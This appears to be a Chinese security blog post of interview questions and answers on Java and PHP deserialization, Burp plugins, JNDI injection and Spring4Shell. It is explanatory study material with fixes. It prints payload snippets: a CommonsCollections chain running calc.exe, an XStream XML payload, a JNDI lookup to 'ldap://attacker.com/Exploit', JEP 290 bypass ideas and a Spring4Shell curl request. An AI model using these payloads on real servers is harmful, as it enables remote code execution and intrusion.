网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
Spring相关RCE原理(以Spring4Shell为例)
某安全公司-安全研究员
一面 burp插件编写原理 CC1-7找一条链子讲一下原理 Fastjson和Jackson反序列化原理讲讲 BCEL可以用其他类加载器吗 Xtream反序列化讲讲 了解JEP290的原理吗 RMI原理以及相关漏洞 JdbcRowSetlmpl如何触发JNDI注入 CC链四个Transformer区别 反序列化除了readObject还有什么触发点 讲下Spring相关的RCE原理 讲讲IIOP和T3反序列化原理 PHP等语言的反序列化讲讲
Burp插件编写原理
- 核心机制
- Burp基于Java的插件体系,通过实现
IBurpExtender
接口扩展功能。- 核心API:
IExtensionHelpers
:处理HTTP请求/响应(如解码、修改头)。IHttpListener
:监听并拦截流量。IScannerCheck
:自定义漏洞扫描逻辑。- 开发流程
- 编写类实现
IBurpExtender
,注册到Burp的registerExtenderCallbacks
。- 示例:java
public class DemoPlugin implements IBurpExtender { public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { callbacks.setExtensionName("Demo Plugin"); callbacks.registerHttpListener(new CustomHttpListener()); } }
- 实战应用
- 主动扫描插件:检测特定参数(如
password
明文传输)。- 被动插件:自动替换Token或添加自定义Header。
CC1链原理分析(以LazyMap链为例)
- Gadget链组成
- 触发点:
AnnotationInvocationHandler.readObject()
→Map.entrySet()
。- 核心类:
LazyMap.get()
:触发ChainedTransformer.transform()
。InvokerTransformer
:反射调用Runtime.exec()
。- 构造过程
- 通过动态代理(
Proxy.newProxyInstance()
)将AnnotationInvocationHandler
与LazyMap
绑定。- 序列化代理对象后,反序列化触发
get()
方法执行命令。- 代码片段 java
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) }; ChainedTransformer chain = new ChainedTransformer(transformers);
Fastjson与Jackson反序列化原理对比
特性 Fastjson Jackson 触发机制 通过 @type
指定类,自动调用setter/getter。需开启 enableDefaultTyping
多态类型处理。漏洞根源 AutoType
功能未严格校验,加载任意类。反序列化时利用 getter
或构造函数注入。防御措施 关闭 AutoType
或使用白名单。禁用多态类型处理,使用 @JsonTypeId
注解。经典漏洞 CVE-2017-18349(RCE via TemplatesImpl)。 CVE-2019-12384(JDBC连接池注入)。
BCEL类加载器的替代方案
- BCEL特性
com.sun.org.apache.bcel.internal.util.ClassLoader
可从字节码字符串加载类。- 示例:
ClassLoader.loadClass("$$BCEL$$$l...").newInstance()
。- 替代方案
- URLClassLoader:加载远程JAR或Class文件。
- DefineClass(反射):通过
Unsafe.defineClass
直接加载字节码。- Javassist:动态生成类并加载。
XStream反序列化漏洞原理
- 核心问题
- XStream未限制反序列化时的类类型,攻击者可构造恶意XML触发任意代码。
- 利用链示例
- CVE-2021-21344:通过
ImageIO$ContainsFilter
类执行命令。- XML构造:xml
<sorted-set> <dynamic-proxy> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command><string>calc.exe</string></command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
- 修复方案
- 使用
XStream.addPermission()
设置反序列化白名单。
JEP 290原理与绕过
- JEP 290机制
- 过滤器接口:通过
ObjectInputFilter
检查反序列化的类是否允许。- 默认实现:限制数组深度、类名黑名单(如
AnnotationInvocationHandler
)。- 绕过方法
- 数组类型混淆:利用
HashSet
或HashMap
嵌套绕过深度检查。- 非标准类加载器:如BCEL加载绕过类名检查。
- 二次反序列化:首次加载合法类,触发二次漏洞。
RMI原理与漏洞
- RMI架构
- Registry:注册中心管理远程对象引用。
- Client/Server:客户端通过存根(Stub)调用远程方法。
- 漏洞场景
- 反序列化攻击:攻击注册中心(发送恶意对象)或客户端(恶意返回值)。
- CVE-2017-3248:Java RMI Registry反序列化RCE。
- 防御措施
- 升级JDK,启用JEP 290过滤器。
JdbcRowSetImpl触发JNDI注入
- 利用链
JdbcRowSetImpl.setDataSourceName()
→setAutoCommit()
→connect()
→lookup()
。- 构造Payload java
JdbcRowSetImpl jdbc = new JdbcRowSetImpl(); jdbc.setDataSourceName("ldap://attacker.com/Exploit"); jdbc.setAutoCommit(true); // 触发connect()
- 依赖条件
- 目标应用需存在JNDI注入漏洞(JDK版本≤8u191)。
CC链四个Transformer区别
Transformer 作用 ConstantTransformer
返回固定值,作为链的起点。 InvokerTransformer
反射调用方法(如 Runtime.exec()
)。ChainedTransformer
按顺序执行多个Transformer。 InstantiateTransformer
实例化类(如调用构造函数)。
反序列化其他触发点
- readResolve()
- 反序列化完成后自动调用,可触发恶意逻辑。
- readExternal()
- 实现
Externalizable
接口的类会调用此方法。- finalize()
- 垃圾回收时触发(需构造对象丢弃)。
- toString()/hashCode()
- 在集合操作(如
HashMap.put()
)中自动调用。
Spring相关RCE原理(以Spring4Shell为例)
- 漏洞背景
- CVE-2022-22965:通过数据绑定修改
Tomcat
日志路径,写入WebShell。- 利用条件
- JDK≥9 + Tomcat + Spring MVC参数绑定。
- Payload示例 bash
curl -X POST "http://target.com/user?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT"
- 修复方案
- 升级Spring Framework至5.3.18+或5.2.20+。
IIOP与T3协议反序列化漏洞
- IIOP(CORBA)
- CVE-2015-4852:WebLogic IIOP协议反序列化漏洞,利用
InvokerTransformer
执行命令。- T3(WebLogic专有协议)
- CVE-2018-2628:T3协议传输恶意序列化对象触发RCE。
- 防御
- 禁用IIOP/T3协议,或升级WebLogic补丁。
PHP反序列化漏洞
- 触发点
- 魔术方法:
__wakeup()
、__destruct()
中的危险操作。- POP链构造
- 利用内置类(如
SoapClient
)触发SSRF或文件操作。- 案例
- Laravel RCE(CVE-2021-3129):通过
Phar
反序列化执行命令。- 防御
- 避免反序列化用户输入,使用
json_encode
替代。